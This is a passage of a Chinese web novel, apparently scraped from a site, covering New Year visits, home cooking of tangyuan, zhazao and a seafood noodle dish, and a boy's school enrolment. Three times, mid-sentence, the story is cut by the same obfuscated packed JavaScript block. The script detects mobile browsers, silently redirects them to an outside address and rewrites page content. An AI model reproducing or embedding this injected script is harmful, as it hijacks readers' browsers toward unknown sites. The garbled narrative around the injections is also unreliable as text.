苏月娘煮了点甜茶倒在杯子里给许东山送了过来，许东山扭过头，就着苏月娘手里的杯子喝了两口。 “你看你让哦屁出去吹冷风，现在哄不好了吧！我煮点肉给它吃，说不定它就原谅我们了！” 许东山盖上锅盖，“你别太惯着它！它都真把自己当人了！” 苏月娘瞪了他一眼，“它把自己当人怎么了！那也是我的心肝宝贝！” 说罢，苏月娘给它的心肝宝贝做香喷喷的肉去了。 哦屁和小孩子一样，容易生气，但气又去得快，苏月娘就拿了一片肉哄它，它一口把肉卷进嘴里后，又和苏月娘天下第一好了。 苏月娘给哦屁换上了拜托桂枝婶用许东山那身新衣剩下的料子做的小狗衣裳后，便招呼哦屁出去吃饭了。 一手端一碗汤圆的许东山看着房巷那儿跑出一只跟自己穿得一模一样的小狗时，脸有些黑，偏偏哦屁这个脾气大的去找狗碗的时候，从许东山身边路过，它没有半点避让，直接从许东山的脚上踩过去了。 小孩不打，上房揭瓦。 许东山看着这只嚣张的小狗，偷偷地琢磨着要教训教训它。 苏月娘盯着许东山看，她可太懂许东山了，现在许东山眼睛一瞥，她就知道许东山心里在想些什么。 “你要是敢欺负我的心肝宝贝，我就把你赶到堂屋里去睡！” 许东山收回视线，将两碗汤圆放在了桌上，“……我不打它，你快吃吧。” 苏月娘又警告地看了他一眼，才去将哦屁和狗碗挪到自己的脚边。 许东山不经意间朝着哦屁那儿看了一眼，藏在苏月娘身边的那只小黑狗亮着它刚长没多久的牙，朝着许东山皱了一个“邪恶”的鬼脸。 苏月娘没有注意到一人一狗之间的暗流涌动，她正在品尝汤圆。 昨日买的汤圆皮薄馅大，不必咬开就可以知道里头是什么馅料，而且这馅料做得够甜，汤圆汤便没有额外加糖。 咬开软糯轻薄的糯米皮后，再去品味饱满结实的汤圆馅料，口感扎实，层次丰富，咀嚼时有砂糖的嘎吱声。 芝麻的稍细腻一些，味道很甜。可以品尝到黑芝麻的细皮，咽下去时，喉咙痒痒的。 花生的就粗糙一些了，碾得稍碎的花生碎和花生、白糖、葱油片紧紧结合在一起，就像在吃贡糖（3）一样。 苏月娘一口气将六个个头不小的汤圆都吃了，还去许东山的碗里抢了两个。 许东山看着自己碗里孤零零的一颗汤圆，干脆舀到苏月娘的碗里去了。 “你多吃点。” 苏月娘点头如捣蒜。 这汤圆其实也就是元宵节吃的元宵，许东山看着苏月娘吃得两腮鼓起，闲来无事问道：“十五卖不卖汤圆？” 早有此打算的苏月娘点点头，“明天去阿舅家我让春喜嫂帮忙琢磨琢磨，到时候我们继续和她分账！” 105. 炸枣 大年初二，是苏月娘领着许东山这个新外甥女婿去阿舅家拜访的日子。 年兜期间商户车夫多在家歇息，苏月娘没法蹭熟人的车去浮桥，就只能厚着脸皮带着一点年礼去找吴头家借骡子了。 这点小要求吴头家自然是会满足，当场就让人去安排一只能跑的骡子借给苏月娘。 新婿头一回初二上门还是需要隆重一些的，除了苏月娘准备的年礼之外，许东山还自个儿精心准备了不少林富贵和张氏会喜欢的东西。 天刚亮不久，穿着光鲜的两口子乘着骡车出发了。 高大的男人骑在骡背上驾骡前行，捂得只剩下一双眼眸的女人抱着一只和男人穿一样料子的小黑狗坐在一堆东西里。 除了各样礼物，两人还带了换洗衣物。 明日就是林大松的生辰了，两口子打算在林家住一晚再回去。 昨日大家都窝在家里团聚，街道无人，而今日外嫁女要带丈夫孩子回后头厝，街上倒还算是热闹，骡车、行人皆有之。 不过，闲得东张西望的苏月娘瞧见了一个熟悉的人。 是李金花。 不过一个月没见，李金花就好像老了十几二十岁一般，不仅头发白了一半，身上那股子胡搅蛮缠的劲儿都消失不见了。 只知抱着东西，低着头弯着背匆匆赶路。 “阿山，你看你二婶！”苏月娘忙拍打许东山的后背。 路上人这么多，又都穿得花花绿绿的，许东山没那个闲情逸致去仔细辨认哪个是李金花，“她后头厝在浮桥，可能她也回娘家吧！” “这个年他家过得冷冷清清的，连天金都没看见他们出来烧。”苏月娘不再打量李金花，省得被她抓个正着。 “听人说那天大家都进去了，她才拖着桶出来烧。” 说起李金花，便少不了问一问许东石了，“对了，许东石是真的废了吧？” “林阿婆说是真的废了，这一个月来有五六个郎中上门去看过，都说许东石没救了。” 苏月娘了解了想了解的，便没有再说什么，毕竟大年初二这样的好日子，提这一家子可真真是晦气。 …… 摇晃多时，途径临漳门，行上浮桥，再拐入小道直通山脚下，林家到了。 大年初二，勤快的林富贵将恨不得整天瘫在床上不动的林大松拉去山上喂鸡喂鸭了，家里就只剩下许春喜和张氏在。 “春喜嫂！我好想你啊！”骡车一停稳，苏月娘便迫不及待地抱上哦屁跳下了车，跑进院子里与许春喜抱了个满怀。 虽说打许春喜和林大松走后，苏月娘和许东山过起了没羞没躁的生活，但是不在屋里的时候，苏月娘还是觉得家里太冷清了，表哥表嫂红姑阿平，她挨个想过去。 许春喜捧着苏月娘的脸好一顿瞧，“你看家里一没人，你这脸色就好成这样……” 苏月娘赶紧捂着许春喜的嘴，瞪她，“我看你也差不多！你这几天没少跟我哥……” 眼瞧着张氏和许东山越走越近，姑嫂两个赶紧闭了嘴巴，又是一副相亲相爱的模样。 “本来年前就要做炸枣的，但你阿舅说你就好这一口，让我们把炸枣留到今天来做。”张氏拉上苏月娘进屋。 许春喜瞧了一眼手里捧着东西的许东山和放在车上还没来得及卸下来的东西，“哥，你们来就好了，还这么客气带什么东西呀！” “这是自来就有的规矩。你……” 刚想让妹妹搭把手的许东山话还没说出口就被打断了。 “那辛苦你了！”许春喜进屋去给苏月娘泡茶了。 许东山，“……” …… 许东山自己一人慢慢地将东西都搬到了屋里，三个女人凑在一起聊一些家常事。 等许东山的活一做完，三个女人又约着要去厨房里做炸枣。 才刚喝了一口茶水的许东山也不好在堂屋干坐着不干活，三两口喝完茶便跟着一块儿去厨房做事了。 现在时候还早着，离午饭还有好一会儿，炸枣只是做来解解馋罢了。 用来做炸枣的地瓜早就处理干净了，只待生了火，蒸上即可。 “你们两口子一年到头难得过来一趟，你们两个就歇着吧！”张氏给外甥女和外甥女婿搬了两张椅子进来，叫两人坐在椅子上歇着。 毕竟不是以亲家大哥身份过来的，许东山也不能太过安逸，他谢过张氏的好意后，便撸起袖子要干活。 张氏要劝，苏月娘抚摸着哦屁的脑袋，笑道：“阿妗，你就让阿山干吧！我们阿山最喜欢干活了！他一天不干活就浑身难受！” 张氏嗔了外甥女一眼。 这世界上那会有人真的喜欢干活？就连勤奋的林富贵有时候也会觉得上山干活太累，想要在家里歇息两日。 将切成片的地瓜蒸上之后，许东山开始炒花生仁和芝麻，张氏四处转了一番，发现没什么事情可做，倒还有些不好意思。 “一天不干活就浑身难受”的许东山对着张氏道：“您尽管去歇着，这种事情我来做就好。” 后来，还是住在附近的厝边来找张氏，张氏才同意让许东山一人独揽炸枣的事情。 所谓炸枣，用料倒和枣没什么关系，这炸枣是用地瓜和糯米粉揉成的面团制成，包馅与否，全凭个人喜好，搓成半个巴掌长的粗长条或是团成扁饼状入油锅烹炸，出锅后的炸枣颜色金黄，其形状似枣，故而得名炸枣。 花生仁和芝麻杵碎、地瓜片蒸熟之后，许东山往先前备好的糯米粉里撒了些白糖，再加入地瓜。 绵密的地瓜并不是那么容易散去热度的，从前一向不怕烫的许东山拿起小号锅勺对着绵软的地瓜片用力挤压起来。 金黄绵密的地瓜被挤压成地瓜泥，陷入了一片雪白的糯米粉中，稍微放凉之后，许东山才开始徒手揉地瓜面团。 许春喜见时候差不多了，便着手做起了炸枣的馅料。 “月娘，你喜欢吃冬瓜糖（1）吗？” “可以吃一点，但吃多了会腻味。” 许春喜打开存放冬瓜糖的陶罐子，从里头抖出三四块冬瓜糖，先将其中一块切成小丁，捏起一小块，塞到苏月娘的嘴巴里。 “刚刚忘记请你吃糖了，现在吃点冬瓜糖甜一下。” 冬瓜糖这名字听着很老实，但是入口之后，那甜味便不管不顾、横冲直撞地直冲天灵盖，就半个指甲盖那样大的冬瓜糖一咬开，苏月娘被齁得四处找水喝。 看苏月娘这样的反应，许春喜就只留了两块冬瓜糖的量。 冬瓜糖切碎之后，与白糖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736312|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起加到花生芝麻碎里头，搅拌均匀，这馅便做成了。 许东山那儿也将面团揉好了，许春喜将馅料往面团边上一放，苏月娘也撸起袖子，加入了包炸枣的行列。 揪起一团黄色的地瓜面团搓圆，两掌一压，将之变成厚圆饼，再放上一勺半的馅料，捏起面团两边，将馅料包圆在面团腹中，最后顺着同一方向将面团搓成光滑了，稍微压扁，炸枣就成了。 近来林富贵甘蔗啃多了，一吃甜的东西就开始嚷嚷着后槽牙疼，许春喜一直记着这事儿，特意多搓了几个没有馅料的炸枣给公公吃，省得公公又因为牙疼而冲着林大松发脾气。 三个人一块儿做事就是快，很快，数十个大小不一的炸枣便腆着圆滚滚的肚子躺在了撒了糯米粉防粘的簸箕上。 许春喜看着最左边的炸枣，啧啧道：“就我哥这个包法，吃一个就饱了！” 放眼望去，许东山包的炸枣的个头比苏月娘和许春喜包的大了一半不止。 许东山知道许春喜又要调笑自己，沉默地闭着嘴去生火烧油了。 苏月娘看着许东山的背影，压低声音道：“你哥好像不怎么擅长包东西……前两天包的鸡卷，就数他包得最粗最难看！连阿生都嫌弃了！” 许东山耳朵还是挺尖的，听见妻子和妹妹在身后嘀咕自己，他竟然都有些习惯了。 油烧热之后，许东山捏着炸枣顺着锅边下，一颗一颗地滑进油锅里，锅里滋滋啦啦地冒起了密集的黄白色油花，沉在油锅底下的炸枣们被藏得严严实实的，暂时见不着踪影。 稍等了一会儿后，地瓜糯米皮被炸得金黄发脆的炸枣开始往上浮，许东山慢慢地翻起热油往炸枣上淋，将炸枣压下，几次过后，炸枣就到了能够出锅的地步了。 与此同时，上山喂鸡喂鸭的林富贵和林大松回来了。 林富贵一进厨房，便从兜里面掏出一个大大的红封递给苏月娘。 无论是大人小孩，都是喜欢收红封的，苏月娘一边美滋滋地将红封收到兜里，一边客气道：“哎呀阿舅……我都二十岁，还成了婚的……哪里还需要压岁钱！” “收着收着！春喜也有！更何况要不是你，阿舅去年年底能赚这么多？” 因为将鸭子卖给苏月娘的缘故，前几日林富贵在家清账的时候竟然发现光从苏月娘那儿赚的钱，都占了他全年赚的近三分之一了。 若是明年还能继续和外甥女合作下去，明年的收入肯定会往上再翻几番。 “阿舅真是客气了！快尝尝我们春喜嫂包的炸枣！她怕您牙疼，特意做的没有包馅的呢！”苏月娘借花献佛，捏起一块没有包馅的炸枣给林富贵递过去。 林富贵心情极好地和苏月娘还有许春喜说了谢谢之后，便呲着牙，小心地咬了一口炸枣。 炸枣最外层有些脆，其余的部分皆是软糯的，因为没有包馅料的缘故，这炸枣并不会太甜，林富贵小心一些吃，便不会觉得牙齿疼。 “和吃桌（2）一样！” “大松，你也……” 许春喜刚要拿一个给在山上累了半天的林大松尝尝，没想到一转头，便看见林大松手上拿着半个炸枣，嘴里还鼓鼓囊囊地塞着另外半个。 “……” 果然吃这种事情不用叫，林大松会自己上。 106. 面线米粉芡 初二大家伙补吃了一顿丰盛的团圆饭，初三还有一顿林大松的生辰饭。 林家所在之处山清水秀，纵使是寒冷的冬季，此处也依旧万物繁荣，绿树流水，鸡飞鹅追。 苏月娘在靠山脚的那一面睡了一夜，这一夜光听外头风吹树晃，鸡鸣狗吠之声了，时不时得惊醒一次，直到卯时前后才慢慢睡稳了。 在阿舅家想睡多久都不成问题，只是醒来之后，身边的许东山和床尾的哦屁都没有了踪影。 苏月娘迅速换好衣裳，梳了个别致的发髻才走出房门。 同样起迟了的林大松揉着眼睛，打着不文雅的大哈欠从隔壁房里走了出来。 “怎么样？在这儿是不是觉得特别好睡！整个人都轻松不少了？” 睡得不太安稳的苏月娘笑了笑，并没有回答他的话，而是道：“今天是你的生辰，不知道阿舅阿妗是给你煮卤面还是面线米粉芡？” 说到这个，林大松可得意了，“这两样都会有！春喜答应亲手给我做卤面，而且大哥也说要做一做面线米粉芡！” 正说着，大门那儿传来了哦屁的吠声，苏月娘中断了和林大松的闲谈，小跑着出了门一探究竟。 走出院门，往左边一瞧，只见黑得油光发亮的哦屁正跟着一群黄黑白各色的小狗一起在外头疾跑嬉戏，看哦屁那股兴奋的劲儿，苏月娘便知道它玩得很开心。 “哦屁，不要跑远了，肚子饿了就回家吃饭！”虽然不知道哦屁能不能听懂，苏月娘还是朝着它喊了一声。 哦屁听见苏月娘的声音，忙刹住脚步，而后调转了个方向，跑到苏月娘的腿边后脚站立，前脚捧着苏月娘的小腿，朝着它的小伙伴们吐舌头。 好像在炫耀它的娘长得跟天仙一样。 其他小狗也看向苏月娘，对着苏月娘友善地摇着尾巴。 “去玩吧！”苏月娘弯下腰，轻轻拍了拍哦屁的狗头，哦屁又一颠一颠地跑向了它的小伙伴们。 …… 时候不早了，林家的厨房里已经热火朝天地做起饭来了，连晚起的寿星林大松也被许春喜抓过去剥虾洗鱼。 苏月娘在厨房里逛了一圈，没见着什么能帮忙的，便凑到了许东山身边去看看他在做什么。 “以前你们宴席班子也教面线米粉芡啊？” 许东山正在撕已经炖过一回的鲈鱼，肉和骨头各分一堆，苏月娘过来了，他便顺手撕了一块大的塞到她嘴巴里。 “师兄弟是泉州各处来的，大家私底下也会相互教授自己家那边的特色。” “那你没把我们家的面线糊教出去吧？”苏月娘仰头问道。 许东山笑了一声，“面线糊到处都有，他们才懒得学。” “那他们还真是亏了！” 许东山将撕好的鲈鱼肉装到碗里，扫去了骨头，对面线米粉芡做法也很懂的苏月娘将一旁的梭子蟹端给了许东山，由许东山将这螃蟹开壳剁块。 苏月娘粗略扫了一眼要做面线米粉芡的材料，可谓是十分丰盛。 面线米粉芡原是从前种蔗人穷吃不上好东西才几家一起对付一锅的田间吃食，用的是花蛤、河鱼、河蟹这样田间易得的东西，后来改用鲈鱼、梭子蟹，倒也成了浮桥百姓们宴席上常见的一道菜。 苏月娘记得儿时来浮桥小住的时候，曾随阿舅一家去吃了别人家的席，桌上便有面线米粉芡。 年岁久远，苏月娘只隐约记得这是一道鲜甜到了极点的面线米粉糊糊。 许春喜、林富贵还有张氏负责的拿手好菜接连出锅，许东山总算寻到了一口空过开始做面线米粉芡。 切好的红葱头爆香后倒入三层肉煸出油脂，而后倒入切好的梭子蟹块开始翻炒。 海鲜这东西易出味道，蟹壳才微微变红，苏月娘就闻见了一股略有腥味的梭子蟹香，等待蟹壳全然成了橙红色，许东山将一早炖好的猪骨汤、花蛤汤还有鲈鱼汤倒到锅里，此时，梭子蟹的一点点腥味已经被这三样炖汤的鲜味掩盖住了。 “咕嘟咕嘟”，大火烧沸了奶白色的汤水，许东山去找了个小碗，盛了半碗汤给目不转睛盯着锅看的苏月娘。 “离开饭还有好一会儿，你先垫垫肚子！” “你还怪懂我的！” 一旁一边杀鱼，一边观察的林大松笑了一声，据他每下三刀抬一次头的频率来看，苏月娘站在许东山身边吃了鱼肉、花蛤肉数口，现在连汤都喝上了！ 苏月娘捧着碗小口小口地抿着滋味丰富的高汤，许东山将干贝、鱼肉、以及半碗刚刚剥下来的蟹肉倒进汤里提鲜。 正宗的面线米粉芡不应出现用淀粉水勾芡的步骤，所以下面线与米粉的步骤也是尤其有讲究的。 面线中粉质多，应是先下的，面线淹进滚烫的汤水之中，稍微变软之后，锅勺快速搅拌面线与汤水，使得面线可以更快出芡。 面线全然煮散了之后，再放入三片湖头米粉，米粉变软之后，许东山握起了仔细搓洗过两回的甘蔗，甘蔗尾部放到锅底慢慢搅拌着有些成糊的面线米粉。 甘蔗被滚烫的汤水加热，甘蔗汁从甘蔗尾析出，多搅拌一会儿，面线米粉芡便有了甜味。 再加上有海鲜做配料，咸鲜有了，这样一来，就不用再额外下什么调料。 锅里的吃食变得浓稠起来，许东山在锅边敲了敲甘蔗，让汤水滴落，而后放下甘蔗改握锅勺，将面线米粉芡盛了出来。 面线米粉芡和卤面一前一后上桌，这两样东西上来之后，大家伙纷纷落了座。 哦屁也蹲在苏月娘和许东山的脚边，先大家一步吃起了刚刚许春喜特意给它做的丰盛狗饭。 寿星林大松一脸喜气洋洋地抱着酒坛子给大家伙倒酒。 “娘，今天虽说是我的生辰，但您也辛苦了！这杯大的您喝！”林大松这个很有良心的取了一个最大的杯子倒满了酒递给张氏。 “二十三岁的人了还这么傻乎乎的！你娘酒量不好你还给她倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741515|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么多！”林富贵睨了儿子一眼。 张氏却不这么觉得，她笑着抿了一口酒，“今天是好日子，就算喝醉我也开心！” 大家都有一杯酒，林大松坐下后，林富贵和张氏勉励了林大松几句，再拜托许春喜多管着点他。 一番简单的陈词之后，开饭了。 卤面一年到头要吃好几回，苏月娘已经不觉得卤面新鲜了，便将碗拿给许东山，叫手长的许东山帮忙盛一碗放在最中间的面线米粉芡。 许东山等林富贵和张氏盛完，眼疾手快地捞了一碗冒出四只蟹腿的面线米粉芡给苏月娘。 别看这面线米粉芡模样有些草率随意，但是闻起来那叫一个层次丰富，海味为主，其中梭子蟹的味道最为明显。 舀上一勺有米粉面线还有蟹肉鱼肉干贝碎的入口，鲜甜微咸的滋味当真是奇妙，浓稠的高汤裹着面线米粉和配料，来不及细嚼，就滑到了喉咙里去了。 “还记得月娘小时候来这里做客，同我们去人家家里吃席，那时她也就不到四岁，吃东西可挑剔了！她瞧桌上的面线米粉芡生得平平无奇，怎么哄都不肯吃上一口，还是大松顽皮，趁月娘不注意，塞了一口给她，她尝了味儿便一口气吃了两碗！” 苏月娘只记得自己来做客时吃过面线米粉芡，前头发生了什么事情，是记不得一点了。 “真的吗？我小时候真这么挑！” “阿舅骗你不成啊！你爹手艺好，成天大鱼大肉地伺候着你，你看不上面线米粉芡也是正常的！” 苏月娘仔细想一想，以自己小时候的性子，挑剔吃食是很正常的事情。 许春喜笑道：“你和我哥能走到一起倒真是不容易啊！我哥这人打小就好养活，有好吃的就多吃点，没好吃的随便对付一口也成，也就是碰到你之后他才吃得像样了些！” 许东山的这些小习惯，开店之后苏月娘也偶尔能够感受到，有时剩下的咸饭不够他们两人吃了，他就会自己煮点简单的米粉汤或是热点剩饭对付一顿。 她丝毫不怀疑，如果自己不同他一起生活一起吃饭，他才不会每日花功夫做那么多好吃的菜。 想着想着，苏月娘看许东山的眼神多了几分浓情蜜意。 正在慢慢地吃面线米粉芡的许东山察觉身边的妻子正看着自己，一转头，便对上了她乌润发亮的眼睛。 “怎么了？” 身边的人太多了，苏月娘凑到了许东山的耳朵边，小声嘀咕道：“阿山，我发现你这人还真好……” 许东山一听就知道是妹妹方才的那番话叫苏月娘又想了许多。 他轻声回应道：“你才知道？” 苏月娘可没想到一向不爱油嘴滑舌的许东山竟然这么回答，她哭笑不得地掐了他后背一把，“就只是夸你一句，你还顺杆子往上爬！” 小两口这一番互动自认为很隐蔽，可同桌的到底只有四个人，大家眼睛随便一瞟就能瞧见他们两个在自顾自地打情骂俏。 107. 学堂报名 两人一狗在浮桥度过极为愉快的两日，初四日，两口子打算带上哦屁回家了。 与一众新认识的小伙伴们玩得正开心的哦屁并不怎想离开，临上车之前还四处乱跑，不让苏月娘抱它上车，后来，许春喜主动开口让两口子将哦屁留下，等她和林大松回凤池了，再将哦屁带回去。 许东山正嫌弃哦屁成天睡在自己屋里实在碍事，每回他要干点什么坏事还得费点心思把狗窝挪出去，许春喜一提，他便很愉快地答应了。 “你们好好照顾它，它每顿都要吃肉，回来干活的时候记得把它带回来！” 说罢，许东山扶着还想去把哦屁抱回来的苏月娘上车了。 躲在远处偷偷观察的哦屁看情况好像不太对劲，立即撒开腿，朝着骡车飞奔过去。 “汪汪汪！” 虽说哦屁还是很想和刚认识的伙伴一起玩耍，但是和爹娘待在一起更重要。 哦屁当真害怕爹娘一走了之，这小小的黑狗抬起前腿，一个大飞跃跳上骡车后板，扑进了苏月娘的怀里，委屈地在苏月娘的怀里拱着。 就这样，两人一狗外加从林家带的一堆新鲜的土产，摇摇晃晃地踏上了回家的路。 …… 两人回到凤池镇已然是午后了，带着些凤池镇买不到的土产上吴家去还了骡子，并在吴头家的家里小坐了一会儿。 这还是苏月娘头一回去吴头家家里，虽然吴头家的家比不上去年普渡去的吴府宽敞豪华，但对于家在寻常百姓中已经不算小的两口子来说，吴头家的家已经够大了。 苏月娘还七拐八拐地向吴头家打听起了这房子里里外外盖了多少银钱。 知道了那个数后，苏月娘不免咋舌，不过转念一想，若是自己坚持做下去，盖一座这样的房子估计也就是几年的事情。 —— 初十之前新年酬神见客事宜多，几乎每日都有事情要做，苏月娘算了一番，决定初九做完天公生之后再开店。 阿平和刘昌一家子初五过来拜年时，苏月娘和许东山一起给阿平包了一个厚实的红封。 当然了，这红封可不是白给的，原以为还可以歇息四五日的大徒弟被许东山留下来继续学艺了。 每天早上天亮了来干活，吃过了午饭再回去。 苏月娘还以为许东山有什么绝技要传授给阿平呢，没曾想他只是借着学艺的借口将阿平抓过来和他一起做酬神的菜品。 …… 初十，关了将近半个月的月娘小吃铺再次飘出了厝边们熟悉的面线糊香味。 大门一打开，吃腻了大鱼大肉的客人们纷纷涌入了店里，点上一碗面线糊哄一哄快要造反的胃肠。 今天吴头家准时登门吃面线糊，他的身后还跟着两个比他稍年轻一些的男人，其中一人苏月娘认得，那人是吴头家的堂弟，曾带着朋友来店里吃过饭。 吴头家领着两个人走到厨房外，让他们自行点料。 那两个人抬头往钉在高墙上的木版上瞧。 苏月娘笑着随他们一起看那木板，要知道这新做的木板自从重新开业之后就挂上了，可看这木板点菜的人寥寥无几。 如今多了看木板点菜的人，便说明自家这小店往后将不再拘泥于厝边们的生意。 “我这两个堂弟过去几年天南海北地四处闯荡，如今打算在泉州安定，承继祖业！” 吴头家的两个弟弟见苏月娘正在与自家堂兄说话，便自行与守在窗内的许东山点菜。 吴头家抬头望了一眼，替两个堂弟给了餐钱。 “听说外头也有得赚，怎么二位还倒往泉州回了？”许东山出餐快，苏月娘端起托盘，带领着吴家三人去最宽敞的地方入座。 “如今不打仗了，我家这运送粮草的生意也派不上用场了。但眼下朝廷急需银钱，打算重新放宽海贸，所以，我们弟兄二人就带着手底下那一大帮子人回来碰碰运气。”吴头家的二弟双手接过苏月娘递过来的筷子。 吴头家的三弟笑道：“听说你还和知府大人熟！这不，这个年知府大人前往福州与福州那儿的大人商议过段时日迎接朝廷下来考察海贸的官员！” 苏月娘笑着点点头，并未做出什么回应，毕竟朝廷之事于她这样的平头百姓来说而言太过遥远了，当个闲谈来听便好了。 “那提前祝二位的海贸生意兴隆了！吃好喝好啊！” 吴家三人笑着同苏月娘点点头。 午后，许春喜和林大松乘坐别人的顺风驴车姗姗来迟，夫妻俩一入门，尚未歇息上多久，除了阿平之外的其他人便起身收拾行装，看起来像是要出门。 许春喜看着穿得像个年画娃娃一般的阿生，笑道：“今天可是要去学堂给阿生报名？” “是的姑姑，等到了十六，我就能去学堂念书了！以后，我也是读书人了！”阿生一本正经地道。 许春喜笑着拍了拍阿生的圆脑袋，“不错！争取以后当大官光宗耀祖！” 许东山和苏月娘亦是将自己收拾得干净利落，尤其是许东山，只穿了初一一日的新衣裳又让他翻出来穿上了。 “快走吧，别误了时辰！” 红姑摸了摸兜里的银钱，确保万无一失了才跟着大家伙急急忙忙地出门了。 …… 本镇与邻镇共用一家私塾，听闻私塾里给孩子们讲学的先生曾受过来泉州讲学的状元郎的教导，学识渊博。 在过去几年里，私塾考出了三位秀才。 如今大家手里有了余钱，也舍得送家里的孩子来私塾读书了。 一行人到达私塾的时候，私塾门口已经排起了长龙，许东山略一数，其中有五至十二三岁的孩童少年十五人，着粗布者有，着细布者亦有。 排队时，阿生静静地牵着苏月娘和阿嬷的手站在队伍里一动不动的，瞧着好像有了几分读书人的气质。 队伍前进得实在有些慢了，苏月娘支使许东山上前去一探究竟。 一番打听过后，才知里头的夫子还要对来报名的孩子或者少年进行问话，若是答话不尽人意者，有可能会遭夫子的劝退。 听此，大家顿时紧张了起来。 苏月娘看着前头那几个十来岁的少年，不免犯起嘀咕，“我们阿生今年也才六岁，和这几个十来岁的比，指定是说不过人家！” “里头的教书先生应当不会如此苛刻……不同岁数应当有不同岁数的问法。”许东山宽慰道。 苏月娘叹气，只可惜家里的人都只认得几个简单的字，腹中并无什么墨水，也教不了阿生什么，早知道就去花点钱寻个读书人先教上两天了。 老的少的揣着一肚子忧虑排了将近一个时辰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15750601|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才走到了门边。 “孩子进去便成，烦请三位在外等候！”站在门口的杂工提醒道。 苏月娘赶忙收回已经踏进去的脚，蹲下与阿生道：“莫要太害怕了，你阿嬷还有干爹干娘都在外面等你！不管结果怎么样，晚上都给你做好吃的！” 许东山，“不要露怯，就当和先生闲聊了！” 红姑不会说什么太深奥的话，只是道：“尽力就好！” 阿生坚定地点点头，两手自然垂落在腿侧，随着引路的杂工进到了私塾里头。 与夫子见面的地方设在东边的小学堂里，木门推开，正中坐着两个四十上下的夫子。 阿生没忘记方才长辈们在外头和他说的话，一进门先和两位夫子鞠躬而后问好。 两位夫子一位不苟言笑，一位和蔼面善，那位和蔼一些的看着阿生鞠躬问好，随后示意他在书几的另外一侧。 阿生走上前，透过书几底下的空隙，阿生瞧见了两位夫子盘腿而坐的坐姿，他记下了，学着夫子们的样子坐下。 “会写字吗？”那位严肃一些的夫子瞪着阿生。 这问题一出，阿生心里咯噔了。 阿生虽然有些惧怕他，但他时刻记着方才干爹说的“不要露怯”，便抿了抿唇，摇头，“还没学过。” “会不会背诗？会什么？” 虽然阿生书一天没读过，但是他也会一些市井小童都会诵读的诗句，“会的夫子，我会背诵《静夜思》、《悯农》……您听不听，我背给您听？” 严肃的夫子皱着眉抬手打断了，“不用了，我不想听。” 那位和蔼一些的夫子又接着道：“和我们说说你叫什么名字，几岁了？为什么读书？以后想做些什么？” 阿生暗暗在心里重复了一遍这些问题，他也不大懂得何谓美化语言，只知坦诚地将心中所思一一说出，“我叫做许与生，大家都叫我阿生，我今年六虚岁，因为阿嬷去年赚到了一点小钱就想让我读点书，大家都说读书可以让阿嬷过得更好，所以我就来了……” “以后……以后如果我不能当官，我就去给人家做工，如果当官了，我就把赚到的钱都用来养阿嬷，给阿嬷盖房子！” 严肃的那位夫子冷哼，“你就这么没志气？还想着没考上一官半职就去做工？” 阿生心里打起了鼓，但是这个实诚的孩子有问必答，“听说考学既费时又费钱，家里又没什么钱，我总不能让阿嬷养我一辈子吧？” 话越说越小声，对面两个夫子都要怀疑这孩子要被吓哭了。 “唉！你先出去吧！让你家里人去账房交束脩。” 阿生懵懵地抬起头，“什么？可以走了？” 严肃的夫子皱眉。 甚是懂得察言观色的阿生马上弹了起来，同二位夫子鞠躬，随后才同手同脚地走出小学堂。 杂工领着阿生出去了，站在大门边翘首以盼的三人瞧见阿生手脚僵硬地走出来，心里失落了一下。 苏月娘弯下腰，展开双臂，将阿生搂进了怀里，刚想说些什么安慰的话语时，杂工笑道：“恭喜了，请您随我进去交束脩！” 大家伙眼睛一亮，苏月娘激动得捧起阿生肉乎的脸颊用力亲了一口，“我们阿生就是厉害！我就说你一定能成！” 阿生的脸颊变得红扑扑的。 108. 上元圆1 四人进到账房里，负责收钱的先生掀眸瞧了一眼阿生。 “大名是什么？多大岁数了？” “许与生，六虚岁。”阿生走在最前头，回答了账房先生的问题。 “启蒙孩童……一月一百文，我们学堂按季度收钱，若中途因故无法继续学业，我们会退还部分学费。” 先前红姑已经和吴头家打听过了学费，今日她还多带了一点。 一百文一串，共三串铜钱交给账房先生点数，账房先生的手倒是快，铜钱在他手里丁零当啷地过数。 阿生一动不动地看着那些铜钱，眼里满是不舍。 每一文都是他阿嬷的血汗钱。 账房先生确认齐数之后，将钱收到了钱箱里，而后抽出早已拟好的收票写上阿生的名字，递给红姑，“这是学费的收票，您收下，若是中途有何变故，尽管拿这收票来此处退钱。” 说罢，账房先生看向阿生，“你可得好好读书，不要辜负你家里人对你的期望！” 阿生用力点头。 